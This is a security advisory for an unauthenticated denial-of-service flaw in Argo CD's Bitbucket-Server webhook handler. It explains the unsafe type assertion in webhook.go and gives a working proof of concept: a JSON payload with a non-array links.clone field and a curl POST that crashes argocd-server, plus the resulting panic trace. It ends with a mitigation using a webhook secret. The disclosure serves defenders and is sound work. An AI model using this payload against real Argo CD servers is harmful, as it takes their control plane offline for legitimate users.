Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for , l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... }

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

json { "eventKey": "repo:refschanged", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] }

shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refschanged' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.